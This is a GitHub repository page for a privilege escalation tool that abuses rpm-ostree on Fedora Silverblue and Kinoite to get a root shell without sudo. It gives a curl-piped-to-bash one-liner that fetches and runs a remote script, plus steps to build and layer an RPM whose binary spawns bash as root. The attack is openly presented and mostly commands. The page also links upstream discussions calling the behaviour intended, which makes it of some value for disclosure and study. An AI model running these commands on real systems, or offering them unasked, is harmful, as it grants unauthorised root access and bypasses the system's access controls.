Skip to content

osalbahr/silverblue-privesc

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

8 Commits
 
 
 
 
 
 
 
 

Repository files navigation

A privilege escalation tool for Fedora immutable desktops (Silverblue, Kinoite, etc.), using the fact that rpm-ostree doesn't need sudo.

This is considered intended behavior: https://discussion.fedoraproject.org/t/76173/2, coreos/rpm-ostree#745, coreos/rpm-ostree#825

One-Liner

bash <(curl https://raw.githubusercontent.com/rohanssrao/silverblue-privesc/main/privesc.sh)

Manual

Requirements:

dnf install rpmdevtools gcc glibc-static

Building:

rpmbuild --bb --define "_rpmdir $(pwd)" --define "_rpmfilename privesc.rpm" privesc.spec

This generates privesc.rpm in the current directory. Installing the package creates /usr/bin/privesc which simply runs bash as root.

Usage:

# Layer package
rpm-ostree install privesc.rpm
# Enter root shell
"$(ls -td /ostree/deploy/fedora/deploy/*/ | head -1)"/usr/bin/privesc

About

Fedora Silverblue privilege escalation

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • Shell 100.0%